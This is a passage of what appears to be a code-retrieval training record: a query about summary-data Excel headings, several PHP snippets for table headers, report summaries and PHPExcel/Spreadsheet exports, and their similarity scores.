A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $data->created_at);\n\n\t\t\t// Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n\t\t\t$excel->getActiveSheet()->getStyle('A' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('B' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('C' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('D' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('E' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('F' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('G' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('H' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('I' . $numrow)->applyFromArray($style_row);\n\t\t\t$excel->getActiveSheet()->getStyle('J' . $numrow)->applyFromArray($style_row);\n\n\t\t\t$no++; // Tambah 1 setiap kali looping\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Set width kolom\n\t\t$excel->getActiveSheet()->getColumnDimension('A')->setWidth(2); // Set width kolom A\n\t\t$excel->getActiveSheet()->getColumnDimension('B')->setWidth(14); // Set width kolom B\n\t\t$excel->getActiveSheet()->getColumnDimension('C')->setWidth(14); // Set width kolom C\n\t\t$excel->getActiveSheet()->getColumnDimension('D')->setWidth(16); // Set width kolom D\n\t\t$excel->getActiveSheet()->getColumnDimension('E')->setWidth(16); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('F')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('G')->setWidth(14); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('H')->setWidth(19); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('I')->setWidth(12); // Set width kolom E\n\t\t$excel->getActiveSheet()->getColumnDimension('J')->setWidth(19); // Set width kolom E\n\n\t\t// Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n\t\t$excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n\t\t// Set orientasi kertas jadi LANDSCAPE\n\t\t$excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n\t\t// Set judul file excel nya\n\t\t$excel->getActiveSheet(0)->setTitle(\"Rekap Rapor Akhlak\");\n\t\t$excel->setActiveSheetIndex(0);\n\n\t\t// Proses file excel\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment; filename=\"Rekap Rapor Akhlak.xlsx\"'); // Set nama file excel nya\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n\t\t$write->save('php://output');\n\t}", "public function getItemSummary() {\n $return = '';\n\n foreach($this->Items() as $item) {\n $return .= \"{$item->Quantity} x {$item->Title};\\n\";\n }\n\n return $return;\n }", "abstract protected function getColumnsHeader(): array;", "public function getSummary(Request $request, $id)\n {\n $sheet = $this->productionSheet->findOrFail($id);\n $work_center = WorkCenter::find($request->input('work_center_id', 0));\n if ( !$work_center ) $work_center = new WorkCenter(['id' => 0, 'name' => l('All', 'layouts')]);\n\n\n $sheet->load(['customerorders', 'customerorders.customer', 'customerorders.customerorderlines']);\n // $sheet->customerorders()->load(['customer', 'customerorderlines']);\n\n $columns = $sheet->customerorderlinesGroupedByWorkCenter($work_center->id);\n\n // abi_r($sheet, true);\n // abi_r($columns, true);\n\n return view('production_sheets.summary_table', compact('work_center', 'sheet', 'columns'));\n }", "private function showDetailsHorizontal()\n\t{\n\t\t$style = $this->col_aggr_sum ? 'table-details-left' : 'table-details-right';\n\t\t\n\t\tforeach ($this->data_show as $key => $row)\n\t\t{\n\t\t\techo '<div id=\"row_' . $key . '\" class=\"slider ' . $style . '\">\n\t\t\t\t<table class=\"table table-striped\">\n\t\t\t\t\t<thead>\n\t\t\t\t\t\t<tr>';\n\n\t\t\t\t\t\t\tforeach ($row['details'][0] as $col => $val)\n\t\t\t\t\t\t\t\techo '<th>' . $col . '</th>';\n\t\t\t\n\t\t\t\t\t\techo '</tr>\n\t\t\t\t\t</thead>\n\t\t\t\t\t<tbody>';\n\t\t\t\t\t\t\n\t\t\t\t\t\tforeach ($row['details'] as $item)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\techo '<tr>';\n\n\t\t\t\t\t\t\tforeach ($item as $col => $val)\n\t\t\t\t\t\t\t\techo '<td class=\"' . $col . '\">' . $val . '</td>';\n\n\t\t\t\t\t\t\techo '</tr>';\n\t\t\t\t\t\t}\n\n\t\t\t\t\techo '<tbody>\n\t\t\t\t</table>\n\t\t\t</div>';\n\t\t}\n\t}", "abstract protected function excel ();", "function showHeader(){\n\t\t$header = \"\";\n\t\t// print the header row\n\t\t$header .= \"\t<tr>\\n\";\n\t\t// loop the fields\n\t\tforeach ($this->fields as $field) {\n\t\t\t// print each field\n\t\t\t$header .= \"\t\t<th>\".$field.\"</th>\\n\";\n\t\t}\n\t\t// end the header row\n\t\t$header .= \"\t</tr>\\n\";\n\t\treturn $header;\n\t}", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn do_template('TABLE_TABLE_HEADER_ROW',array('_GUID'=>'2f4095b8d30f50f34fdd6acf8dd566b1','CELLS'=>$cells));\n}", "public function generalDataSummary()\n {\n $doctorsCount = Doctor::count();\n $patientsCount = Patient::count();\n $monthlyIncome = \"Rs.\" . number_format(Income::where('date', 'like', Carbon::now()->format('Y-m-') . \"%\")->sum('amount'), 2);\n $monthlyAppointments = Appointment::where('date', 'like', Carbon::now()->format('Y-m-') . \"%\")->count();\n return ResponseHelper::findSuccess('General Data Summary', [\n \"doctors_count\" => $doctorsCount,\n \"patients_count\" => $patientsCount,\n \"monthly_income\" => $monthlyIncome,\n \"monthly_appointments\" => $monthlyAppointments\n ]);\n }", "public function get_heading() {\n\t\tif ( $this->object['voucher_count'] == 1 ) {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading ), $this->object );\n\t\t} else {\n\t\t\treturn apply_filters( 'woocommerce_email_heading_' . $this->id, $this->format_string( $this->heading_multiple ), $this->object );\n\t\t}\n\t}", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "function summary_name($data) {\r\n $format = $this->date_handler->views_formats($this->options['granularity'], 'display');\r\n $value = $data->{$this->name_alias};\r\n $range = $this->date_handler->arg_range($value);\r\n return date_format_date($range[0], 'custom', $format);\r\n }", "function exportDataToExcel($table_details,$file_name,$worksheet_name)\n\n\t{\n\t// Creating a workbook\n\t$workbook = new Spreadsheet_Excel_Writer();\n\t\n\t// sending HTTP headers\n\t$workbook->send(\"$file_name\".'xls');\n\t\n\t// Creating a worksheet\n\t$worksheet =& $workbook->addWorksheet(\"'$worksheet_name'\");\n\t\n\t\n\t\tif ($table_details)\n\t\t\t{\n\t\t\t\t$colcount=0; //for setting the footer colspan\n\t\t\t\tforeach($table_details[0] as $key=>$value)\n\t\t\t\t\t{\n\t\t\t\t\t$worksheet->write(0,$colcount ,$key );\n\t\t\t\t\t$colcount++;\n\t\t\t\t\t}\n\t\t\t}\n\t\t\t$i=0;\n\t\t\t$cnt=count($table_details);\n\t\t\t\n\t\t\tfor($j=0; $j<$cnt; $j++)\n\t\t\t\t{\n\t\n\t\t\t\t$cell=0;\n\t\t\t\tforeach($table_details[$j] as $key=>$value)\n\t\t\t\t\t{\n\t\n\t\t\t\t\t$worksheet->write($j+1,$cell ,$value );\n\t\t\t\t\t$cell++;\n\t\t\t\t\t}\n\t\n\t\t\t\t}\n\t$workbook->close();\n\t}", "protected function generateSummaryTable(&$params)\n {\n \t$newFields = array($params[\"grouping_fields\"][0]);\n \t$newHeaders = array($params[\"headers\"][array_search($params[\"grouping_fields\"][0],$params[\"fields\"])]);\n \t$indices = array(array_search($params[\"grouping_fields\"][0],$params[\"fields\"]));\n \t$newParams = array(\"total\"=>array(false), \"type\"=>array(\"string\"));\n \tforeach($params[\"data_params\"]['total'] as $index => $value)\n \t{\n \t\tif($value === true)\n \t\t{\n \t\t\t$tempField = $params[\"fields\"][$index];\n \t\t $newFields[] = $tempField;\n \t\t $newHeaders[] = $params[\"headers\"][array_search($tempField,$params[\"fields\"])];\n \t\t $indices[] = array_search($tempField,$params[\"fields\"]);\n \t\t $newParams[\"total\"][] = true;\n \t\t $newParams[\"type\"][] = $params[\"data_params\"][\"type\"][$index];\n \t\t}\n \t}\n\n \t$filteredData = array();\n \t\n \tforeach($this->reportData as $data)\n \t{\n \t\t$row = array();\n \t\tforeach($indices as $index)\n \t\t{\n \t\t\t$row[] = $data[$index];\n \t\t}\n \t\t$filteredData[] = $row;\n \t}\n \t\n \t$summarizedData = array();\n \t$currentRow = $filteredData[0][0];\n \t\n \tfor($i = 0; $i < count($filteredData); $i++)\n \t{\n \t\t$row = array();\n \t\t$row[0] = $currentRow;\n \t\t$add = false;\n \t\twhile($filteredData[$i][0] == $currentRow)\n \t\t{\n \t\t\tfor($j = 1; $j < count($indices); $j++)\n \t\t\t{\n \t\t\t\t$add = true;\n \t\t\t\t$row[$j] += str_replace(\",\", \"\", $filteredData[$i][$j]);\n \t\t\t}\n \t\t\t$i++;\n \t\t}\n \t\tif($add) $summarizedData[] = $row;\n \t\t$currentRow = $filteredData[$i][0];\n $i--;\n \t}\n $table = new TableContent($newHeaders, $summarizedData, $newParams);\n $table->style[\"autoTotalsBox\"] = true;\n $params[\"report\"]->add($table);\n }", "public function getTitle()\n {\n\treturn $this->get('SUMMARY');\n }" ]
[ "0.7372189", "0.6744705", "0.6743809", "0.66960275", "0.6684924", "0.66325593", "0.65436095", "0.6464986", "0.63994944", "0.63744146", "0.6337591", "0.6282702", "0.6281811", "0.6243819", "0.62275916", "0.6191575", "0.61876214", "0.61493856", "0.61415344", "0.60632193", "0.605261", "0.6015047", "0.6011415", "0.60081476", "0.59533316", "0.5926167", "0.5922619", "0.5892212", "0.5850228", "0.5813258", "0.57990235", "0.5778781", "0.5768627", "0.57507426", "0.57458746", "0.57395715", "0.57299566", "0.57277936", "0.5703856", "0.5692644", "0.56771135", "0.5658913", "0.5642539", "0.5636338", "0.5626673", "0.56180453", "0.5597425", "0.5578214", "0.5578214", "0.5575333", "0.5564076", "0.55557036", "0.55524683", "0.55524683", "0.55524683", "0.55524683", "0.55524683", "0.55524683", "0.55524683", "0.55518377", "0.55518377", "0.5548635", "0.55486065", "0.554734", "0.55437744", "0.5539579", "0.5538242", "0.5531469", "0.5515295", "0.5501815", "0.5501514", "0.5485886", "0.5466533", "0.5459181", "0.54550725", "0.54423887", "0.5428065", "0.5426503", "0.5425853", "0.540312", "0.5391025", "0.53862643", "0.5384007", "0.53706676", "0.5362141", "0.5358649", "0.5355934", "0.53504795", "0.5345451", "0.53414893", "0.5337313", "0.5335953", "0.5325427", "0.5324353", "0.53221077", "0.532206", "0.53138506", "0.53052956", "0.530504", "0.52889234" ]
0.7925702
0
Summary data excel headings for mySQL change made here will affect => IPQExcel>loadSummaryDataToDB
public static function excelSummaryHeadingsMYSQL() { return [ 'employer' => 'Employer', 'enterprise_t_p' => 'Enterprise training provider', 'government_body' => 'Government body', 'group_t_o' => 'Group training organisation', 'individual' => 'Individual', 'industry_a_p_b' => 'Industry association peak body', 'non_gov_body' => 'Non-government organisation', 'registered_t_o' => 'Registered training organisation', 'skills_s_o' => 'Skills service organisation', 'statutory_authority' => 'Statutory authority', 'trade_union' => 'Trade union', 'self_employed' => 'Self-employed', 'not_for_profit' => 'Not for profit', 'school_or_university' => 'School or University', ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getSummaryData();", "public function summaryColumns();", "function section_details($objPHPExcel,$school_code,$log,$type=false,$batch,$row=1,$col=0){\n\techo PHP_EOL,\"Sheet 5 Called \",PHP_EOL;\n\t$log->lwrite('Section Details ( Sheet 5 ) Called');\n\t\n\t//$arg=array('SchoolCode'=>$school_code);\n\t\n\t$arg=array('school_code'=>$school_code,'ayid'=>'3');\n\t$migrationConnection= new SONBMongoConnectionClass('upload_details');//print_r($mongoConnection);\t\n\t$find=$migrationConnection->findALL($arg);\n\t$uploadID=array();\n\t//$schoolCode=NUll;\n\t\n\tforeach($find as $id){\n\t\t//$schoolCode=$id['school_code'];\n\t\t$uploadID[]=$id['UploadID'];\n\t}\n\t\n\t\n\t$mongoConnection= new SONBMongoConnectionClass('school_boarding_detail');\n\t//$find=$mongoConnection->findALL($arg);\n\t\n\t\n\t$find=$mongoConnection->_connection->aggregateCursor(array( \n array( '$match' => array(\"SchoolCode\" => $school_code ,'UploadID'=>array('$in'=>$uploadID),'SectionCode' => array('$ne'=> null))),\n\tarray('$group'=>array('_id'=>array('ClassLevel'=>'$ClassLevel','ClassName'=>'$ClassName','Section'=>'$Section','SectionCode'=>'$SectionCode','SectionGroupCode'=>'$SectionGroupCode')))));\n\t\n//print_r($find);die\t;\n/*foreach($find as $finds){\nprint_r($finds['_id']);die;\n}*/\n\n\n\n\t\n\t//print_R($result);die;\n\t\n\n\t$objSheet = $objPHPExcel->getActiveSheet();\t\n\t$objSheet = $objPHPExcel->createSheet();\n\t\n\t$objSheet->getColumnDimension('A')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('B')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('C')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('D')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('E')->setAutoSize(TRUE);\n $objSheet->getColumnDimension('F')->setAutoSize(TRUE);\n\t$objSheet->getStyle(\"A\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"B\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"C\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"D\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"E\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\t$objSheet->getStyle(\"F\")->getAlignment()->setHorizontal(\\PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objSheet->setCellValueByColumnAndRow($col, $row, 'SectionMatch');$col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'ClassLevel'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'ClassName'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'Section'); $col++;\n\t$objSheet->setCellValueByColumnAndRow($col, $row, 'SectionCode'); $col++;\n $objSheet->setCellValueByColumnAndRow($col, $row, 'SectionGroupCode'); $col++;\n \n\t\t\n\t$row++;\n\t//$row++;\n foreach($find as $mongofetch){ //print_r($mongofetch);die;\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\t$col =0;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassLevel'].$mongofetch['_id']['Section']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassLevel']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['ClassName']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['Section']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['SectionCode']); $col++;\n\t\t\t$objSheet->setCellValueByColumnAndRow($col, $row, $mongofetch['_id']['SectionGroupCode']); $col++;\n\t\t\t$row++;\n\t\t\n \n } \n //echo $row.\"<br/>\";\n \n \n \n $objSheet->setTitle('SectionDetails');\n\t\n\treturn $objSheet;\n}", "public function export_summary($id)\n {\n $results = $this->Warehouse_model->getAllDetails($id);\n $FileTitle = 'warehouse Summary Report';\n\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Report Sheet');\n //set cell A1 content with some text\n $this->excel->getActiveSheet()->setCellValue('B1', 'Product Details');\n\n $this->excel->getActiveSheet()->setCellValue('A3', 'DN No.');\n $this->excel->getActiveSheet()->setCellValue('B3', (!empty($results) ? $results[0]->dn_number : \"\"));\n $this->excel->getActiveSheet()->setCellValue('D3', ' Date');\n $this->excel->getActiveSheet()->setCellValue('E3', (!empty($results) ? $results[0]->warehouse_date : \"\"));\n $this->excel->getActiveSheet()->setCellValue('G3', 'Received From');\n $this->excel->getActiveSheet()->setCellValue('H3', (!empty($results) ? $results[0]->employee_name : \"\"));\n\n $this->excel->getActiveSheet()->setCellValue('A5', 'Category Name');\n $this->excel->getActiveSheet()->setCellValue('B5', 'Product Type Name');\n $this->excel->getActiveSheet()->setCellValue('C5', 'Product Name');\n $this->excel->getActiveSheet()->setCellValue('D5', 'total_Quantity');\n $this->excel->getActiveSheet()->setCellValue('E5', 'Product Price');\n $this->excel->getActiveSheet()->setCellValue('F5', 'Total Amount');\n $this->excel->getActiveSheet()->setCellValue('G5', 'GST %');\n $this->excel->getActiveSheet()->setCellValue('H5', 'HSN');\n $this->excel->getActiveSheet()->setCellValue('I5', 'Markup %.');\n\n $a = '6';\n $sr = 1;\n $qty = 0;\n $product_mrp = 0;\n $total = 0;\n $totalGST = 0;\n $finalTotal = 0;\n //print_r($results);exit;\n foreach ($results as $result) {\n\n /*$total = $result->sum + $result->transport ;\n $returnAmt = $this->Crud_model->GetData('purchase_returns','sum(return_amount) as return_amount',\"purchase_order_id='\".$result->id.\"'\",'','','','single');\n $total = $total - $returnAmt->return_amount;*/\n\n $this->excel->getActiveSheet()->setCellValue('A' . $a, $result->title);\n $this->excel->getActiveSheet()->setCellValue('B' . $a, $result->type);\n $this->excel->getActiveSheet()->setCellValue('C' . $a, $result->asset_name);\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $result->total_quantity);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($result->total_quantity * $result->product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('G' . $a, $result->gst_percent);\n $this->excel->getActiveSheet()->setCellValue('H' . $a, $result->hsn);\n $this->excel->getActiveSheet()->setCellValue('I' . $a, $result->markup_percent);\n //$this->excel->getActiveSheet()->setCellValue('G'.$a, $result->status);\n //$this->excel->getActiveSheet()->setCellValue('H'.$a, $total);\n $sr++;\n $a++;\n $qty += $result->total_quantity;\n $product_mrp += $result->product_mrp;\n $total += $result->total_quantity * $result->product_mrp;\n $totalGST += (($result->gst_percent / 100) * ($total));\n }\n $this->excel->getActiveSheet()->setCellValue('D' . $a, $qty);\n $this->excel->getActiveSheet()->setCellValue('E' . $a, \"Rs. \" . number_format($product_mrp, 2));\n $this->excel->getActiveSheet()->setCellValue('F' . $a, \"Rs. \" . number_format($total, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 1), \"Total GST Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 1), \"Rs. \" . number_format($totalGST, 2));\n\n $this->excel->getActiveSheet()->setCellValue('E' . ($a + 2), \"TFinal Total Amount\");\n $this->excel->getActiveSheet()->setCellValue('F' . ($a + 2), \"Rs. \" . number_format($totalGST + $total, 2));\n\n $this->excel->getActiveSheet()->getStyle('B1')->getFont()->setSize(14);\n $this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('B5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('C5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('D5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('E5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('F5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('G5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('H5')->getFont()->setBold(true);\n $this->excel->getActiveSheet()->getStyle('I5')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('G3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->getStyle('H3')->getFont()->setBold(true);\n //$this->excel->getActiveSheet()->mergeCells('A1:H1');\n $this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\n $filename = '' . $FileTitle . '.xls'; //save our workbook as this file name\n header('Content-Type: application/vnd.ms-excel'); //mime type\n header('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n header('Cache-Control: max-age=0'); //no cache\n ob_clean();\n\n //save it to Excel5 format (excel 2003 .XLS file), change this to 'Excel2007' (and adjust the filename extension, also the header mime type)\n //if you want to save it as .XLSX Excel 2007 format\n $objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n //force user to download the Excel file without writing it to server's HD\n $objWriter->save('php://output');\n }", "public function report_data_college()\n{\n\n$user = $this->Muser->report_data_college();\n\n// Create new Spreadsheet object\n$spreadsheet = new Spreadsheet();\n\n//auto width cell\nforeach(range('A','I') as $columnID) {\n $spreadsheet->getActiveSheet()->getColumnDimension($columnID)\n ->setAutoSize(true);\n}\n\n// Set document properties\n$spreadsheet->getProperties()->setCreator('STMIK BANDUNG')\n->setLastModifiedBy('STMIK BANDUNG')\n->setTitle('Office 2007 XLSX Test Document')\n->setSubject('Office 2007 XLSX Test Document')\n->setDescription('Test document for Office 2007 XLSX, generated using PHP classes.')\n->setKeywords('office 2007 openxml php')\n->setCategory('result file');\n\n// Add some data\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A1', 'NO')\n->setCellValue('B1', 'NIM')\n->setCellValue('C1', 'NAMA')\n->setCellValue('D1', 'JURUSAN')\n->setCellValue('E1', 'ANGKATAN')\n->setCellValue('F1', 'EMAIL')\n->setCellValue('G1', 'JENIS KELAMIN')\n->setCellValue('H1', 'NO TELEPON')\n->setCellValue('I1', 'STATUS')\n\n;\n\n// Miscellaneous glyphs, UTF-8\n$i=2; $no=1; foreach($user as $data) {\n\n$spreadsheet->setActiveSheetIndex(0)\n->setCellValue('A'.$i, $no)\n->setCellValue('B'.$i, $data->nim)\n->setCellValue('C'.$i, $data->name)\n->setCellValue('D'.$i, $data->prodi)\n->setCellValue('E'.$i, $data->generation)\n->setCellValue('F'.$i, $data->email)\n->setCellValue('G'.$i, $data->gender)\n->setCellValue('H'.$i, $data->no_telp)\n->setCellValue('i'.$i, $data->status_user)\n\n;\n$i++;\n$no++;\n}\n\n\n// Rename worksheet\n$spreadsheet->getActiveSheet()->setTitle('Report Data Mahasiswa '.date('d-m-Y H'));\n\n// Set active sheet index to the first sheet, so Excel opens this as the first sheet\n$spreadsheet->setActiveSheetIndex(0);\n\n// Redirect output to a client’s web browser (Xlsx)\nheader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\nheader('Content-Disposition: attachment;filename=\"Report Data Mahasiswa.xlsx\"');\nheader('Cache-Control: max-age=0');\n// If you're serving to IE 9, then the following may be needed\nheader('Cache-Control: max-age=1');\n\n// If you're serving to IE over SSL, then the following may be needed\nheader('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the 